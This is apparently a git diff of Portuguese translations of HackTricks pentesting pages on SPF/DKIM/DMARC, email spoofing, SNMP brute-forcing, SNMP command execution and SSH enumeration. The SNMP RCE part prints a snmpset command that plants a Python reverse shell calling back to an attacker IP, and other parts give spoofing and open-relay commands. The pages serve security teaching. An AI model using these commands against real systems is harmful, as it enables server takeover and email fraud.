| EXISTS | Se o nome de domínio fornecido resolver para qualquer endereço, corresponderá (não importa o endereço para o qual ele resolva). Isso é raramente usado. Juntamente com a linguagem macro SPF, oferece correspondências mais complexas como consultas DNSBL. |
|
||||
| INCLUDE | Faz referência à política de outro domínio. Se a política desse domínio passar, este mecanismo passará. No entanto, se a política incluída falhar, o processamento continuará. Para delegar totalmente para a política de outro domínio, a extensão de redirecionamento deve ser usada. |
|
||||
| REDIRECT | <p>Um redirecionamento é um apontador para outro nome de domínio que hospeda uma política SPF, permitindo que vários domínios compartilhem a mesma política SPF. É útil ao trabalhar com uma grande quantidade de domínios que compartilham a mesma infraestrutura de e-mail.</p><p>A política SPF do domínio indicado no Mecanismo de redirecionamento será usada.</p> |
|
||||
|
||||
Também é possível identificar **Qualificadores** que indicam **o que deve ser feito se um mecanismo for correspondido**. Por padrão, o **qualificador "+"** é usado (então se algum mecanismo for correspondido, isso significa que é permitido).\
|
||||
|
@ -308,7 +303,7 @@ _netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36
|
|||
dig txt _netblocks3.google.com | grep spf
|
||||
_netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"
|
||||
```
|
||||
Tradicionalmente era possível falsificar qualquer nome de domínio que não tivesse um registro SPF correto/qualquer. **Hoje em dia**, se um **e-mail** vem de um **domínio sem um registro SPF válido**, provavelmente será **rejeitado/marcado como não confiável automaticamente**.
|
||||
Tradicionalmente, era possível falsificar qualquer nome de domínio que não tivesse um registro SPF correto/qualquer. **Hoje em dia**, se um **e-mail** vem de um **domínio sem um registro SPF válido**, provavelmente será **rejeitado/marcado como não confiável automaticamente**.
|
||||
|
||||
Para verificar o SPF de um domínio, você pode usar ferramentas online como: [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html)
|
||||
|
||||
|
@ -318,7 +313,7 @@ O DKIM é utilizado para assinar e-mails de saída, permitindo sua validação p
|
|||
|
||||
Por exemplo, para solicitar a chave, o nome de domínio e o seletor são essenciais. Estes podem ser encontrados no cabeçalho do e-mail `DKIM-Signature`, por exemplo, `d=gmail.com;s=20120113`.
|
||||
|
||||
Um comando para buscar estas informações pode se parecer com:
|
||||
Um comando para buscar essas informações pode se parecer com:
|
||||
```bash
|
||||
dig 20120113._domainkey.gmail.com TXT | grep p=
|
||||
# This command would return something like:
|
||||
|
@ -344,10 +339,10 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
|
|||
```
|
||||
#### Tags do DMARC
|
||||
|
||||
| Nome da Tag | Propósito | Exemplo |
|
||||
| Nome da Tag | Propósito | Exemplo |
|
||||
| ----------- | ---------------------------------------------- | ------------------------------- |
|
||||
| v | Versão do protocolo | v=DMARC1 |
|
||||
| pct | Percentual de mensagens sujeitas a filtragem | pct=20 |
|
||||
| v | Versão do protocolo | v=DMARC1 |
|
||||
| pct | Percentagem de mensagens sujeitas a filtragem | pct=20 |
|
||||
| ruf | URI de relatório para relatórios forenses | ruf=mailto:authfail@example.com |
|
||||
| rua | URI de relatório de relatórios agregados | rua=mailto:aggrep@example.com |
|
||||
| p | Política para o domínio organizacional | p=quarantine |
|
||||
|
@ -363,7 +358,7 @@ O seguinte foi originalmente postado em openspf.org, que costumava ser um ótimo
|
|||
|
||||
> A Questão do Demônio: E quanto aos subdomínios?
|
||||
>
|
||||
> Se eu receber um e-mail de pielovers.demon.co.uk e não houver dados SPF para pielovers, devo voltar um nível e testar o SPF para demon.co.uk? Não. Cada subdomínio no Demon é um cliente diferente, e cada cliente pode ter sua própria política. Não faria sentido a política do Demon se aplicar a todos os seus clientes por padrão; se o Demon quiser fazer isso, ele pode configurar registros SPF para cada subdomínio.
|
||||
> Se eu receber um e-mail de pielovers.demon.co.uk e não houver dados SPF para pielovers, devo voltar um nível e testar o SPF para demon.co.uk? Não. Cada subdomínio na Demon é um cliente diferente, e cada cliente pode ter sua própria política. Não faria sentido a política da Demon se aplicar a todos os seus clientes por padrão; se a Demon quiser fazer isso, pode configurar registros SPF para cada subdomínio.
|
||||
>
|
||||
> Portanto, o conselho para os publicadores de SPF é o seguinte: você deve adicionar um registro SPF para cada subdomínio ou nome de host que tenha um registro A ou MX.
|
||||
>
|
||||
|
@ -373,15 +368,13 @@ Isso faz sentido - um subdomínio pode muito bem estar em uma localização geog
|
|||
|
||||
### **Relé Aberto**
|
||||
|
||||
O uso de um **servidor de retransmissão confiável pelo destinatário** pode ser uma estratégia para garantir que os e-mails enviados não sejam marcados como spam e alcancem seu destino pretendido. No entanto, observou-se que os administradores frequentemente não possuem um entendimento detalhado das **faixas de IP** que devem ser **permitidas**. Essa lacuna de conhecimento pode levar a configurações incorretas no servidor SMTP, uma vulnerabilidade comumente descoberta durante testes de penetração externos e internos. Para contornar esse problema e evitar interrupções inadvertidas na comunicação por e-mail com clientes potenciais e existentes, os administradores podem optar por **permitir todos os endereços IP**. Essa abordagem é refletida na configuração do servidor SMTP, onde o parâmetro `mynetworks` é configurado para permitir conexões de qualquer endereço IP:
|
||||
Ao enviar e-mails, garantir que eles não sejam marcados como spam é crucial. Isso é frequentemente alcançado por meio de um **servidor de retransmissão confiável pelo destinatário**. No entanto, um desafio comum é que os administradores podem não estar totalmente cientes de quais **intervalos de IP são seguros para permitir**. Essa falta de compreensão pode levar a erros na configuração do servidor SMTP, um risco frequentemente identificado em avaliações de segurança.
|
||||
|
||||
Uma solução alternativa que alguns administradores usam para evitar problemas de entrega de e-mails, especialmente em comunicações com clientes potenciais ou em andamento, é **permitir conexões de qualquer endereço IP**. Isso é feito configurando o parâmetro `mynetworks` do servidor SMTP para aceitar todos os endereços IP, conforme mostrado abaixo:
|
||||
```bash
|
||||
mynetworks = 0.0.0.0/0
|
||||
```
|
||||
Para testar se há um relay de e-mail aberto, uma ferramenta como `nmap` pode ser utilizada. Essa ferramenta é empregada para escanear o servidor alvo em busca da possibilidade de ele funcionar como um relay aberto, o que pode ser indicado pelo script de relay aberto `smtp-open-relay`. O comando a seguir demonstra como o `nmap` é usado para escanear a porta 25 no servidor com o endereço IP 10.10.10.10, fornecendo uma saída detalhada:
|
||||
|
||||
```bash
|
||||
nmap -p 25 --script smtp-open-relay -v 10.10.10.10
|
||||
```
|
||||
Para verificar se um servidor de e-mail é um relay aberto (o que significa que poderia encaminhar e-mails de qualquer origem externa), a ferramenta `nmap` é comumente usada. Ela inclui um script específico projetado para testar isso. O comando para realizar uma varredura detalhada em um servidor (por exemplo, com o IP 10.10.10.10) na porta 25 usando o `nmap` é:
|
||||
```bash
|
||||
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
|
||||
```
|
||||
|
@ -394,11 +387,11 @@ nmap -p25 --script smtp-open-relay 10.10.10.10 -v
|
|||
|
||||
* [**https://www.mailsploit.com/index**](https://www.mailsploit.com/index)
|
||||
* [**http://www.anonymailer.net/**](http://www.anonymailer.net)
|
||||
* [**https://emkei.cz/**](https://emkei.cz/)\*\*\*\*
|
||||
* [**https://emkei.cz/**](https://emkei.cz/)
|
||||
|
||||
**Ou você pode usar uma ferramenta:**
|
||||
|
||||
* [**https://github.com/magichk/magicspoofing**](https://github.com/magichk/magicspoofing)\*\*\*\*
|
||||
* [**https://github.com/magichk/magicspoofing**](https://github.com/magichk/magicspoofing)
|
||||
```bash
|
||||
# This will send a test email from test@victim.com to destination@gmail.com
|
||||
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
|
||||
|
@ -505,7 +498,7 @@ s.sendmail(sender, [destination], msg_data)
|
|||
* Conteúdo de e-mail corrompido
|
||||
* Valores utilizados diferentes dos cabeçalhos de e-mail
|
||||
* Existência de um certificado SSL válido e confiável
|
||||
* Submissão da página a sites de filtragem de conteúdo da web
|
||||
* Envio da página para sites de filtragem de conteúdo da web
|
||||
|
||||
## Exfiltração através do SMTP
|
||||
|
||||
|
@ -582,7 +575,7 @@ Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {
|
|||
{% embed url="https://pentest-tools.com/" %}
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda a hackear a AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
|
|
|
@ -7,7 +7,7 @@
|
|||
* Trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
@ -16,7 +16,7 @@
|
|||
|
||||
O SNMP é um protocolo usado para monitorar o status de dispositivos em uma rede de computadores. Ele opera no protocolo de camada de transporte UDP com números de porta 161/UDP e 162/UDP.
|
||||
|
||||
O SNMP utiliza strings de comunidade, que funcionam como senhas para a comunicação entre agentes SNMP e servidores. Essas strings de comunidade concedem permissões de **somente leitura (RO) ou leitura e escrita (RW)**. Os pentesters podem explorar o SNMP por **força bruta nas strings de comunidade** para obter acesso aos equipamentos de rede.
|
||||
O SNMP utiliza strings de comunidade, que funcionam como senhas para a comunicação entre agentes SNMP e servidores. Essas strings de comunidade concedem permissões de **somente leitura (RO) ou leitura e escrita (RW)**. Pentesters podem explorar o SNMP **forçando bruta as strings de comunidade** para obter acesso aos equipamentos de rede.
|
||||
|
||||
Para realizar um ataque de força bruta nas strings de comunidade, é possível usar o **[onesixtyone](https://github.com/trailofbits/onesixtyone)**. Esta ferramenta requer um dicionário para força bruta e os endereços IP dos hosts-alvo:
|
||||
```bash
|
||||
|
@ -45,7 +45,7 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY public
|
|||
msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.100.10
|
||||
msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
|
||||
```
|
||||
# Referências
|
||||
## Referências
|
||||
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
|
||||
|
||||
|
@ -56,7 +56,7 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
|
|||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,35 +1,35 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
||||
# SNMP RCE
|
||||
|
||||
O SNMP pode ser explorado por um atacante se o administrador não prestar atenção à configuração padrão do dispositivo ou servidor. Ao **abusar da comunidade SNMP com permissões de escrita (rwcommunity)** em um sistema operacional Linux, o atacante pode executar comandos no servidor.
|
||||
O SNMP pode ser explorado por um atacante se o administrador negligenciar sua configuração padrão no dispositivo ou servidor. Ao **abusar da comunidade SNMP com permissões de escrita (rwcommunity)** em um sistema operacional Linux, o atacante pode executar comandos no servidor.
|
||||
|
||||
## Estendendo Serviços com Comandos Adicionais
|
||||
## Ampliando Serviços com Comandos Adicionais
|
||||
|
||||
Para estender os serviços SNMP e adicionar comandos extras, é possível anexar novas **linhas à tabela "nsExtendObjects"**. Isso pode ser alcançado usando o comando `snmpset` e fornecendo os parâmetros necessários, incluindo o caminho absoluto para o executável e o comando a ser executado:
|
||||
Para ampliar os serviços SNMP e adicionar comandos extras, é possível adicionar novas **linhas à tabela "nsExtendObjects"**. Isso pode ser feito usando o comando `snmpset` e fornecendo os parâmetros necessários, incluindo o caminho absoluto para o executável e o comando a ser executado:
|
||||
```bash
|
||||
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
|
||||
'nsExtendStatus."evilcommand"' = createAndGo \
|
||||
'nsExtendCommand."evilcommand"' = /bin/echo \
|
||||
'nsExtendArgs."evilcommand"' = 'hello world'
|
||||
```
|
||||
## Injeção de Comandos para Execução
|
||||
## Injetando Comandos para Execução
|
||||
|
||||
Injetar comandos para serem executados no serviço SNMP requer a existência e a possibilidade de execução do binário/script chamado. O **`NET-SNMP-EXTEND-MIB`** exige o fornecimento do caminho absoluto para o executável.
|
||||
Injetar comandos para serem executados no serviço SNMP requer a existência e executabilidade do binário/script chamado. O **`NET-SNMP-EXTEND-MIB`** exige fornecer o caminho absoluto para o executável.
|
||||
|
||||
Para confirmar a execução do comando injetado, o comando `snmpwalk` pode ser usado para enumerar o serviço SNMP. **O resultado exibirá o comando e seus detalhes associados**, incluindo o caminho absoluto:
|
||||
Para confirmar a execução do comando injetado, o comando `snmpwalk` pode ser usado para enumerar o serviço SNMP. A **saída exibirá o comando e seus detalhes associados**, incluindo o caminho absoluto:
|
||||
```bash
|
||||
snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects
|
||||
```
|
||||
|
@ -37,11 +37,11 @@ snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects
|
|||
|
||||
Quando o **comando injetado é lido, ele é executado**. Esse comportamento é conhecido como **`run-on-read()`**. A execução do comando pode ser observada durante a leitura do snmpwalk.
|
||||
|
||||
### Obtendo Shell do Servidor com SNMP
|
||||
### Obtendo um Shell de Servidor com SNMP
|
||||
|
||||
Para ganhar controle sobre o servidor e obter um shell do servidor, um script em python desenvolvido por mxrch pode ser utilizado a partir de [**https://github.com/mxrch/snmp-shell.git**](https://github.com/mxrch/snmp-shell.git).
|
||||
Para obter controle sobre o servidor e obter um shell de servidor, um script em python desenvolvido por mxrch pode ser utilizado em [**https://github.com/mxrch/snmp-shell.git**](https://github.com/mxrch/snmp-shell.git).
|
||||
|
||||
Alternativamente, um shell reverso pode ser criado manualmente injetando um comando específico no SNMP. Esse comando, acionado pelo snmpwalk, estabelece uma conexão de shell reverso com a máquina do atacante, permitindo controle sobre a máquina vítima.
|
||||
Alternativamente, um shell reverso pode ser criado manualmente injetando um comando específico no SNMP. Esse comando, acionado pelo snmpwalk, estabelece uma conexão de shell reverso com a máquina do atacante, permitindo o controle sobre a máquina da vítima.
|
||||
Você pode instalar o pré-requisito para executar isso:
|
||||
```bash
|
||||
sudo apt install snmp snmp-mibs-downloader rlwrap -y
|
||||
|
@ -53,20 +53,20 @@ Ou um shell reverso:
|
|||
```bash
|
||||
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'
|
||||
```
|
||||
# Referências
|
||||
## Referências
|
||||
* [https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/](https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,27 +2,27 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Se você está interessado em **carreira de hacking** e em hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrito e falado exigida_).
|
||||
Se você está interessado em **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## Informações Básicas
|
||||
|
||||
**SSH ou Secure Shell ou Secure Socket Shell,** é um protocolo de rede que oferece aos usuários uma **forma segura de acessar um computador através de uma rede não segura.**
|
||||
**SSH (Secure Shell ou Secure Socket Shell)** é um protocolo de rede que permite uma conexão segura com um computador em uma rede não segura. É essencial para manter a confidencialidade e integridade dos dados ao acessar sistemas remotos.
|
||||
|
||||
**Porta padrão:** 22
|
||||
```
|
||||
|
@ -30,42 +30,42 @@ Se você está interessado em **carreira de hacking** e em hackear o inquebráve
|
|||
```
|
||||
**Servidores SSH:**
|
||||
|
||||
* [openSSH](http://www.openssh.org) – OpenBSD SSH, incluído em BSD, distribuições Linux e Windows desde o Windows 10
|
||||
* [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) – Implementação SSH para ambientes com recursos limitados de memória e processador, incluído no OpenWrt
|
||||
* [PuTTY](https://www.chiark.greenend.org.uk/\~sgtatham/putty/) – Implementação SSH para Windows, o cliente é comumente usado, mas o uso do servidor é mais raro
|
||||
* [CopSSH](https://www.itefix.net/copssh) – implementação do OpenSSH para Windows
|
||||
* [openSSH](http://www.openssh.org) – OpenBSD SSH, incluído em distribuições BSD, Linux e Windows desde o Windows 10
|
||||
* [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) – Implementação SSH para ambientes com pouca memória e recursos de processamento, incluído no OpenWrt
|
||||
* [PuTTY](https://www.chiark.greenend.org.uk/\~sgtatham/putty/) – Implementação SSH para Windows, o cliente é comumente utilizado, mas o uso do servidor é mais raro
|
||||
* [CopSSH](https://www.itefix.net/copssh) – Implementação do OpenSSH para Windows
|
||||
|
||||
**Bibliotecas SSH (implementando o lado do servidor):**
|
||||
**Bibliotecas SSH (implementando no lado do servidor):**
|
||||
|
||||
* [libssh](https://www.libssh.org) – biblioteca C multiplataforma que implementa o protocolo SSHv2 com bindings em [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) e [R](https://github.com/ropensci/ssh); é usada pelo KDE para sftp e pelo GitHub para a infraestrutura SSH do git
|
||||
* [wolfSSH](https://www.wolfssl.com/products/wolfssh/) – biblioteca de servidor SSHv2 escrita em ANSI C e direcionada para ambientes embarcados, RTOS e com restrições de recursos
|
||||
* [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) – biblioteca java Apache SSHD baseada no Apache MINA
|
||||
* [paramiko](https://github.com/paramiko/paramiko) – biblioteca do protocolo SSHv2 em Python
|
||||
* [libssh](https://www.libssh.org) – Biblioteca C multiplataforma que implementa o protocolo SSHv2 com bindings em [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) e [R](https://github.com/ropensci/ssh); é utilizada pelo KDE para sftp e pelo GitHub para a infraestrutura de git SSH
|
||||
* [wolfSSH](https://www.wolfssl.com/products/wolfssh/) – Biblioteca de servidor SSHv2 escrita em ANSI C e direcionada para ambientes embarcados, RTOS e com recursos limitados
|
||||
* [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) – A biblioteca java Apache SSHD é baseada no Apache MINA
|
||||
* [paramiko](https://github.com/paramiko/paramiko) – Biblioteca Python de protocolo SSHv2
|
||||
|
||||
## Enumeração
|
||||
|
||||
### Captura de Banner
|
||||
### Coleta de Banner
|
||||
```bash
|
||||
nc -vn <IP> 22
|
||||
```
|
||||
### Auditoria automatizada ssh-audit
|
||||
### Auditoria automatizada de ssh
|
||||
|
||||
ssh-audit é uma ferramenta para auditoria de configuração de servidores e clientes SSH.
|
||||
ssh-audit é uma ferramenta para auditoria de configuração de servidor e cliente ssh.
|
||||
|
||||
[https://github.com/jtesta/ssh-audit](https://github.com/jtesta/ssh-audit) é um fork atualizado de [https://github.com/arthepsy/ssh-audit/](https://github.com/arthepsy/ssh-audit/)
|
||||
|
||||
**Recursos:**
|
||||
|
||||
* Suporte a servidores de protocolo SSH1 e SSH2;
|
||||
* analisar configuração de cliente SSH;
|
||||
* capturar banner, reconhecer dispositivo ou software e sistema operacional, detectar compressão;
|
||||
* coletar algoritmos de troca de chaves, chave de host, criptografia e códigos de autenticação de mensagens;
|
||||
* exibir informações de algoritmos (disponível desde, removido/desativado, inseguro/fraco/legado, etc);
|
||||
* exibir recomendações de algoritmos (adicionar ou remover com base na versão de software reconhecida);
|
||||
